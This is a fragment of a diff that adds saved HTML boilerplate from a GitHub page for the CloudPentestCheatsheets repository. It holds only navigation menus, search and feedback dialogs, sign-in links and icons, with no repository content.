     500 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to GitHub Sponsors&quot;,&quot;label&quot;:&quot;ref_cta:GitHub Sponsors;&quot;}" href="/sponsors">
     501 +
     502 + <div>
     503 + <div class="color-fg-default h4">GitHub Sponsors</div>
     504 + Fund open source developers
     505 + </div>
     506 + 
     507 +
     508 +</a></li>
     509 + 
     510 + </ul>
     511 + </div>
     512 + <div class="border-bottom pb-3 mb-3">
     513 + <ul class="list-style-none f5" >
     514 + <li>
     515 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to The ReadME Project&quot;,&quot;label&quot;:&quot;ref_cta:The ReadME Project;&quot;}" href="/readme">
     516 +
     517 + <div>
     518 + <div class="color-fg-default h4">The ReadME Project</div>
     519 + GitHub community articles
     520 + </div>
     521 + 
     522 +
     523 +</a></li>
     524 + 
     525 + </ul>
     526 + </div>
     527 + <div class="">
     528 + <span class="d-block h4 color-fg-default my-1" id="open-source-repositories-heading">Repositories</span>
     529 + <ul class="list-style-none f5" aria-labelledby="open-source-repositories-heading">
     530 + <li>
     531 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to Topics&quot;,&quot;label&quot;:&quot;ref_cta:Topics;&quot;}" href="/topics">
     532 + Topics
     533 + 
     534 +
     535 +</a></li>
     536 + 
     537 + <li>
     538 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to Trending&quot;,&quot;label&quot;:&quot;ref_cta:Trending;&quot;}" href="/trending">
     539 + Trending
     540 + 
     541 +
     542 +</a></li>
     543 + 
     544 + <li>
     545 + <a class="HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary" data-analytics-event="{&quot;category&quot;:&quot;Header dropdown (logged out), Open Source&quot;,&quot;action&quot;:&quot;click to go to Collections&quot;,&quot;label&quot;:&quot;ref_cta:Collections;&quot;}" href="/collections">
     546 + Collections
     547 + 
     548 +
     549 +</a></li>
     550 + 
     551 + </ul>
     552 + </div>
     553 + </div>
     554 +</li>
     555 + 
     556 + 
     557 + <li class="HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item">
     558 + <a class="HeaderMenu-link no-underline px-0 px-lg-2 py-3 py-lg-2 d-block d-lg-inline-block" data-analytics-event="{&quot;category&quot;:&quot;Header menu top item (logged out)&quot;,&quot;action&quot;:&quot;click to go to Pricing&quot;,&quot;label&quot;:&quot;ref_cta:Pricing;&quot;}" href="/pricing">Pricing</a>
     559 +</li>
     560 + 
     561 + </ul>
     562 + </nav>
     563 + 
     564 + <div class="d-lg-flex flex-items-center mb-3 mb-lg-0 text-center text-lg-left ml-3" style="">
     565 +
     566 + 
     567 + 
     568 +<qbsearch-input class="search-input" data-scope="repo:dafthack/CloudPentestCheatsheets" data-custom-scopes-path="/search/custom_scopes" data-delete-custom-scopes-csrf="5ZCNCs3obDA3_oHAbJKLvAFZiyk1IQdjY8GkVvP9nT_wECDpBM7W6djQS12_QKDLDopUDzkrqtMKFSDxQ4o-9Q" data-max-custom-scopes="10" data-header-redesign-enabled="false" data-initial-value="" data-blackbird-suggestions-path="/search/suggestions" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" data-current-repository="dafthack/CloudPentestCheatsheets" data-current-org="" data-current-owner="dafthack" data-logged-in="false">
     569 + <div
     570 + class="search-input-container search-with-dialog position-relative d-flex flex-row flex-items-center mr-4 rounded"
     571 + data-action="click:qbsearch-input#searchInputContainerClicked"
     572 + >
     573 + <button
     574 + type="button"
     575 + class="header-search-button placeholder input-button form-control d-flex flex-1 flex-self-stretch flex-items-center no-wrap width-full py-0 pl-2 pr-0 text-left border-0 box-shadow-none"
     576 + data-target="qbsearch-input.inputButton"
     577 + placeholder="Search or jump to..."
     578 + data-hotkey=s,/
     579 + autocapitalize="off"
     580 + data-action="click:qbsearch-input#handleExpand"
     581 + >
     582 + <div class="mr-2 color-fg-muted">
     583 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search">
     584 + <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path>
     585 +</svg>
     586 + </div>
     587 + <span class="flex-1" data-target="qbsearch-input.inputButtonText">Search or jump to...</span>
     588 + <div class="d-flex" data-target="qbsearch-input.hotkeyIndicator">
     589 + <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
     590 + 
     591 + </div>
     592 + </button>
     593 + 
     594 + <input type="hidden" name="type" class="js-site-search-type-field">
     595 + 
     596 +
     597 +<div class="Overlay--hidden " data-modal-dialog-overlay>
     598 + <modal-dialog data-action="close:qbsearch-input#handleClose cancel:qbsearch-input#handleClose" data-target="qbsearch-input.searchSuggestionsDialog" role="dialog" id="search-suggestions-dialog" aria-modal="true" aria-labelledby="search-suggestions-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto">
     599 + <h1 id="search-suggestions-dialog-header" class="sr-only">Search code, repositories, users, issues, pull requests...</h1>
     600 + <div class="Overlay-body Overlay-body--paddingNone">
     601 +
     602 + <div data-view-component="true"> <div class="search-suggestions position-fixed width-full color-shadow-large border color-fg-default color-bg-default overflow-hidden d-flex flex-column query-builder-container"
     603 + style="border-radius: 12px;"
     604 + data-target="qbsearch-input.queryBuilderContainer"
     605 + hidden
     606 + >
     607 + <!-- '"` --><!-- </textarea></xmp> --></option></form><form id="query-builder-test-form" action="" accept-charset="UTF-8" method="get">
     608 + <query-builder data-target="qbsearch-input.queryBuilder" id="query-builder-query-builder-test" data-filter-key=":" data-view-component="true" class="QueryBuilder search-query-builder">
     609 + <div class="FormControl FormControl--fullWidth">
     610 + <label id="query-builder-test-label" for="query-builder-test" class="FormControl-label sr-only">
     611 + Search
     612 + </label>
     613 + <div class="QueryBuilder-StyledInput width-fit" data-target="query-builder.styledInput">
     614 + <span id="query-builder-test-leadingvisual-wrap" class="FormControl-input-leadingVisualWrap QueryBuilder-leadingVisualWrap">
     615 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search FormControl-input-leadingVisual">
     616 + <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path>
     617 +</svg>
     618 + </span>
     619 + <div data-target="query-builder.styledInputContainer" class="QueryBuilder-StyledInputContainer">
     620 + <div
     621 + aria-hidden="true"
     622 + class="QueryBuilder-StyledInputContent"
     623 + data-target="query-builder.styledInputContent"
     624 + ></div>
     625 + <div class="QueryBuilder-InputWrapper">
     626 + <div aria-hidden="true" class="QueryBuilder-Sizer" data-target="query-builder.sizer"></div>
     627 + <input id="query-builder-test" name="query-builder-test" value="" autocomplete="off" type="text" role="combobox" spellcheck="false" aria-expanded="false" data-target="query-builder.input" data-action="
     628 + input:query-builder#inputChange
     629 + blur:query-builder#inputBlur
     630 + keydown:query-builder#inputKeydown
     631 + focus:query-builder#inputFocus
     632 + " data-view-component="true" class="FormControl-input QueryBuilder-Input FormControl-medium" />
     633 + </div>
     634 + </div>
     635 + <span class="sr-only" id="query-builder-test-clear">Clear</span>
     636 +
     637 + <button role="button" id="query-builder-test-clear-button" aria-labelledby="query-builder-test-clear query-builder-test-label" data-target="query-builder.clearButton" data-action="
     638 + click:query-builder#clear
     639 + focus:query-builder#clearButtonFocus
     640 + blur:query-builder#clearButtonBlur
     641 + " variant="small" hidden="hidden" type="button" data-view-component="true" class="Button Button--iconOnly Button--invisible Button--medium mr-1 px-2 py-0 d-flex flex-items-center rounded-1 color-fg-muted"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x-circle-fill Button-visual">
     642 + <path d="M2.343 13.657A8 8 0 1 1 13.658 2.343 8 8 0 0 1 2.343 13.657ZM6.03 4.97a.751.751 0 0 0-1.042.018.751.751 0 0 0-.018 1.042L6.94 8 4.97 9.97a.749.749 0 0 0 .326 1.275.749.749 0 0 0 .734-.215L8 9.06l1.97 1.97a.749.749 0 0 0 1.275-.326.749.749 0 0 0-.215-.734L9.06 8l1.97-1.97a.749.749 0 0 0-.326-1.275.749.749 0 0 0-.734.215L8 6.94Z"></path>
     643 +</svg>
     644 +</button>
     645 + 
     646 + </div>
     647 + <template id="search-icon">
     648 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search">
     649 + <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path>
     650 +</svg>
     651 +</template>
     652 + 
     653 +<template id="code-icon">
     654 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code">
     655 + <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path>
     656 +</svg>
     657 +</template>
     658 + 
     659 +<template id="file-code-icon">
     660 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-code">
     661 + <path d="M4 1.75C4 .784 4.784 0 5.75 0h5.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v8.586A1.75 1.75 0 0 1 14.25 15h-9a.75.75 0 0 1 0-1.5h9a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 10 4.25V1.5H5.75a.25.25 0 0 0-.25.25v2.5a.75.75 0 0 1-1.5 0Zm1.72 4.97a.75.75 0 0 1 1.06 0l2 2a.75.75 0 0 1 0 1.06l-2 2a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734l1.47-1.47-1.47-1.47a.75.75 0 0 1 0-1.06ZM3.28 7.78 1.81 9.25l1.47 1.47a.751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018l-2-2a.75.75 0 0 1 0-1.06l2-2a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Zm8.22-6.218V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path>
     662 +</svg>
     663 +</template>
     664 + 
     665 +<template id="history-icon">
     666 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history">
     667 + <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path>
     668 +</svg>
     669 +</template>
     670 + 
     671 +<template id="repo-icon">
     672 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo">
     673 + <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path>
     674 +</svg>
     675 +</template>
     676 + 
     677 +<template id="bookmark-icon">
     678 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bookmark">
     679 + <path d="M3 2.75C3 1.784 3.784 1 4.75 1h6.5c.966 0 1.75.784 1.75 1.75v11.5a.75.75 0 0 1-1.227.579L8 11.722l-3.773 3.107A.751.751 0 0 1 3 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.91l3.023-2.489a.75.75 0 0 1 .954 0l3.023 2.49V2.75a.25.25 0 0 0-.25-.25Z"></path>
     680 +</svg>
     681 +</template>
     682 + 
     683 +<template id="plus-circle-icon">
     684 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-plus-circle">
     685 + <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm7.25-3.25v2.5h2.5a.75.75 0 0 1 0 1.5h-2.5v2.5a.75.75 0 0 1-1.5 0v-2.5h-2.5a.75.75 0 0 1 0-1.5h2.5v-2.5a.75.75 0 0 1 1.5 0Z"></path>
     686 +</svg>
     687 +</template>
     688 + 
     689 +<template id="circle-icon">
     690 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-dot-fill">
     691 + <path d="M8 4a4 4 0 1 1 0 8 4 4 0 0 1 0-8Z"></path>
     692 +</svg>
     693 +</template>
     694 + 
     695 +<template id="trash-icon">
     696 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-trash">
     697 + <path d="M11 1.75V3h2.25a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75ZM4.496 6.675l.66 6.6a.25.25 0 0 0 .249.225h5.19a.25.25 0 0 0 .249-.225l.66-6.6a.75.75 0 0 1 1.492.149l-.66 6.6A1.748 1.748 0 0 1 10.595 15h-5.19a1.75 1.75 0 0 1-1.741-1.575l-.66-6.6a.75.75 0 1 1 1.492-.15ZM6.5 1.75V3h3V1.75a.25.25 0 0 0-.25-.25h-2.5a.25.25 0 0 0-.25.25Z"></path>
     698 +</svg>
     699 +</template>
     700 + 
     701 +<template id="team-icon">
     702 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-people">
     703 + <path d="M2 5.5a3.5 3.5 0 1 1 5.898 2.549 5.508 5.508 0 0 1 3.034 4.084.75.75 0 1 1-1.482.235 4 4 0 0 0-7.9 0 .75.75 0 0 1-1.482-.236A5.507 5.507 0 0 1 3.102 8.05 3.493 3.493 0 0 1 2 5.5ZM11 4a3.001 3.001 0 0 1 2.22 5.018 5.01 5.01 0 0 1 2.56 3.012.749.749 0 0 1-.885.954.752.752 0 0 1-.549-.514 3.507 3.507 0 0 0-2.522-2.372.75.75 0 0 1-.574-.73v-.352a.75.75 0 0 1 .416-.672A1.5 1.5 0 0 0 11 5.5.75.75 0 0 1 11 4Zm-5.5-.5a2 2 0 1 0-.001 3.999A2 2 0 0 0 5.5 3.5Z"></path>
     704 +</svg>
     705 +</template>
     706 + 
     707 +<template id="project-icon">
     708 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project">
     709 + <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path>
     710 +</svg>
     711 +</template>
     712 + 
     713 +<template id="pencil-icon">
     714 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-pencil">
     715 + <path d="M11.013 1.427a1.75 1.75 0 0 1 2.474 0l1.086 1.086a1.75 1.75 0 0 1 0 2.474l-8.61 8.61c-.21.21-.47.364-.756.445l-3.251.93a.75.75 0 0 1-.927-.928l.929-3.25c.081-.286.235-.547.445-.758l8.61-8.61Zm.176 4.823L9.75 4.81l-6.286 6.287a.253.253 0 0 0-.064.108l-.558 1.953 1.953-.558a.253.253 0 0 0 .108-.064Zm1.238-3.763a.25.25 0 0 0-.354 0L10.811 3.75l1.439 1.44 1.263-1.263a.25.25 0 0 0 0-.354Z"></path>
     716 +</svg>
     717 +</template>
     718 + 
     719 + <div class="position-relative">
     720 + <ul
     721 + role="listbox"
     722 + class="ActionListWrap QueryBuilder-ListWrap"
     723 + aria-label="Suggestions"
     724 + data-action="
     725 + combobox-commit:query-builder#comboboxCommit
     726 + mousedown:query-builder#resultsMousedown
     727 + "
     728 + data-target="query-builder.resultsList"
     729 + data-persist-list=false
     730 + id="query-builder-test-results"
     731 + ></ul>
     732 + </div>
     733 + </div>
     734 + <div data-target="query-builder.screenReaderFeedback" aria-live="polite" aria-atomic="true" class="sr-only"></div>
     735 +</query-builder></form>
     736 + <div class="d-flex flex-row color-fg-muted px-3 text-small color-bg-default search-feedback-prompt">
     737 + <a target="_blank" href="https://docs.github.com/en/search-github/github-code-search/understanding-github-code-search-syntax" data-view-component="true" class="color-fg-accent text-normal ml-2">
     738 + Search syntax tips
     739 +</a> <div class="d-flex flex-1"></div>
     740 + </div>
     741 + </div>
     742 +</div>
     743 + 
     744 + </div>
     745 +</modal-dialog></div>
     746 + </div>
     747 + <div data-action="click:qbsearch-input#retract" class="dark-backdrop position-fixed" hidden data-target="qbsearch-input.darkBackdrop"></div>
     748 + <div class="color-fg-default">
     749 +
     750 +<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay>
     751 + <modal-dialog data-target="qbsearch-input.feedbackDialog" data-action="close:qbsearch-input#handleDialogClose cancel:qbsearch-input#handleDialogClose" role="dialog" id="feedback-dialog" aria-modal="true" aria-disabled="true" aria-describedby="feedback-dialog-title feedback-dialog-description" data-view-component="true" class="Overlay Overlay-whenNarrow Overlay--size-medium Overlay--motion-scaleFade">
     752 + <div data-view-component="true" class="Overlay-header">
     753 + <div class="Overlay-headerContentWrap">
     754 + <div class="Overlay-titleWrap">
     755 + <h1 class="Overlay-title " id="feedback-dialog-title">
     756 + Provide feedback
     757 + </h1>
     758 + </div>
     759 + <div class="Overlay-actionWrap">
     760 + <button data-close-dialog-id="feedback-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     761 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     762 +</svg></button>
     763 + </div>
     764 + </div>
     765 +</div>
     766 + <div data-view-component="true" class="Overlay-body"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form id="code-search-feedback-form" data-turbo="false" action="/search/feedback" accept-charset="UTF-8" method="post"><input type="hidden" data-csrf="true" name="authenticity_token" value="g5NgJoqLtfOeD+zWcdCUWZpKM6ulhqTYfeNe2RwKwIerQP3LT7caVhCGH/uXDx1VHFqR4aHvILUxSfZ/VZf4DQ==" />
     767 + <p>We read every piece of feedback, and take your input very seriously.</p>
     768 + <textarea name="feedback" class="form-control width-full mb-2" style="height: 120px" id="feedback"></textarea>
     769 + <input name="include_email" id="include_email" aria-label="Include my email address so I can be contacted" class="form-control mr-2" type="checkbox">
     770 + <label for="include_email" style="font-weight: normal">Include my email address so I can be contacted</label>
     771 +</form></div>
     772 + <div data-view-component="true" class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="feedback-dialog" type="button" data-view-component="true" class="btn"> Cancel
     773 +</button>
     774 + <button form="code-search-feedback-form" data-action="click:qbsearch-input#submitFeedback" type="submit" data-view-component="true" class="btn-primary btn"> Submit feedback
     775 +</button>
     776 +</div>
     777 +</modal-dialog></div>
     778 + 
     779 + <custom-scopes data-target="qbsearch-input.customScopesManager">
     780 +
     781 +<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay>
     782 + <modal-dialog data-target="custom-scopes.customScopesModalDialog" data-action="close:qbsearch-input#handleDialogClose cancel:qbsearch-input#handleDialogClose" role="dialog" id="custom-scopes-dialog" aria-modal="true" aria-disabled="true" aria-describedby="custom-scopes-dialog-title custom-scopes-dialog-description" data-view-component="true" class="Overlay Overlay-whenNarrow Overlay--size-medium Overlay--motion-scaleFade">
     783 + <div data-view-component="true" class="Overlay-header Overlay-header--divided">
     784 + <div class="Overlay-headerContentWrap">
     785 + <div class="Overlay-titleWrap">
     786 + <h1 class="Overlay-title " id="custom-scopes-dialog-title">
     787 + Saved searches
     788 + </h1>
     789 + <h2 id="custom-scopes-dialog-description" class="Overlay-description">Use saved searches to filter your results more quickly</h2>
     790 + </div>
     791 + <div class="Overlay-actionWrap">
     792 + <button data-close-dialog-id="custom-scopes-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x">
     793 + <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path>
     794 +</svg></button>
     795 + </div>
     796 + </div>
     797 +</div>
     798 + <div data-view-component="true" class="Overlay-body"> <div data-target="custom-scopes.customScopesModalDialogFlash"></div>
     799 + 
     800 + <div hidden class="create-custom-scope-form" data-target="custom-scopes.createCustomScopeForm">
     801 + <!-- '"` --><!-- </textarea></xmp> --></option></form><form id="custom-scopes-dialog-form" data-turbo="false" action="/search/custom_scopes" accept-charset="UTF-8" method="post"><input type="hidden" data-csrf="true" name="authenticity_token" value="aqEI5wWJs6wseqa8pgF2Ce/3xL1GvyaGjSznBm9NHgX/Uin+3m8E5MB+yyOFhKIsX2i7+Dmo+oOg9yjlZtVQRA==" />
     802 + <div data-target="custom-scopes.customScopesModalDialogFlash"></div>
     803 + 
     804 + <input type="hidden" id="custom_scope_id" name="custom_scope_id" data-target="custom-scopes.customScopesIdField">
     805 + 
     806 + <div class="form-group">
     807 + <label for="custom_scope_name">Name</label>
     808 + <auto-check src="/search/custom_scopes/check_name" required>
     809 + <input
     810 + type="text"
     811 + name="custom_scope_name"
     812 + id="custom_scope_name"
     813 + data-target="custom-scopes.customScopesNameField"
     814 + class="form-control"
     815 + autocomplete="off"
     816 + placeholder="github-ruby"
     817 + required
     818 + maxlength="50">
     819 + <input type="hidden" data-csrf="true" value="5tn9rIBCY+W2JmrSs+pVmiD1Xzj4n6giQ/+lDXar5n7SQICNshK6jaSLroRNXFT+9A+Yw1v+sNxVH+f1U+IrfA==" />
     820 + </auto-check>
     821 + </div>
     822 + 
     823 + <div class="form-group">
     824 + <label for="custom_scope_query">Query</label>
     825 + <input
     826 + type="text"
     827 + name="custom_scope_query"
     828 + id="custom_scope_query"
     829 + data-target="custom-scopes.customScopesQueryField"
     830 + class="form-control"
     831 + autocomplete="off"
     832 + placeholder="(repo:mona/a OR repo:mona/b) AND lang:python"
     833 + required
     834 + maxlength="500">
     835 + </div>
     836 + 
     837 + <p class="text-small color-fg-muted">
     838 + To see all available qualifiers, see our <a href="https://docs.github.com/en/search-github/github-code-search/understanding-github-code-search-syntax">documentation</a>.
     839 + </p>
     840 +</form> </div>
     841 + 
     842 + <div data-target="custom-scopes.manageCustomScopesForm">
     843 + <div data-target="custom-scopes.list"></div>
     844 + </div>
     845 + 
     846 +</div>
     847 + <div data-view-component="true" class="Overlay-footer Overlay-footer--alignEnd Overlay-footer--divided"> <button data-action="click:custom-scopes#customScopesCancel" type="button" data-view-component="true" class="btn"> Cancel
     848 +</button>
     849 + <button form="custom-scopes-dialog-form" data-action="click:custom-scopes#customScopesSubmit" data-target="custom-scopes.customScopesSubmitButton" type="submit" data-view-component="true" class="btn-primary btn"> Create saved search
     850 +</button>
     851 +</div>
     852 +</modal-dialog></div>
     853 + </custom-scopes>
     854 + </div>
     855 +</qbsearch-input><input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="xBW7dKpT0PwS/CaryakAc4Uasc+ogGLhcG3NiD4tpl2jREMjGtXDb6wdIOZ9ceQWeXdvgTllBAP8M5BZTjDroA==" />
     856 + 
     857 + 
     858 + <div class="position-relative mr-lg-3 d-lg-inline-block">
     859 + <a href="/login?return_to=https%3A%2F%2Fgithub.com%2Fdafthack%2FCloudPentestCheatsheets%2Flabels"
     860 + class="HeaderMenu-link HeaderMenu-link--sign-in flex-shrink-0 no-underline d-block d-lg-inline-block border border-lg-0 rounded rounded-lg-0 p-2 p-lg-0"
     861 + data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;site header menu&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;SIGN_UP&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/labels&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="1434bf9bad94b266082a296c9efc64e6aea8170d1bd13b199b067ba68927767c"
     862 + data-ga-click="(Logged out) Header, clicked Sign in, text:sign-in">
     863 + Sign in
     864 + </a>
     865 + </div>
     866 + 
     867 + <a href="/signup?ref_cta=Sign+up&amp;ref_loc=header+logged+out&amp;ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Flabels%2Findex&amp;source=header-repo&amp;source_repo=dafthack%2FCloudPentestCheatsheets"
     868 + class="HeaderMenu-link HeaderMenu-link--sign-up flex-shrink-0 d-none d-lg-inline-block no-underline border color-border-default rounded px-2 py-1"
     869 + data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;site header menu&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;SIGN_UP&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/labels&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="1434bf9bad94b266082a296c9efc64e6aea8170d1bd13b199b067ba68927767c"
     870 + data-analytics-event="{&quot;category&quot;:&quot;Sign up&quot;,&quot;action&quot;:&quot;click to sign up for account&quot;,&quot;label&quot;:&quot;ref_page:/&lt;user-name&gt;/&lt;repo-name&gt;/labels/index;ref_cta:Sign up;ref_loc:header logged out&quot;}"
     871 + >
     872 + Sign up
     873 + </a>
     874 + </div>
     875 + </div>
     876 + </div>
     877 + </div>
     878 +</header>
     879 + 
     880 + <div hidden="hidden" data-view-component="true" class="js-stale-session-flash flash flash-warn mb-3">
     881 +
     882 + <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert">
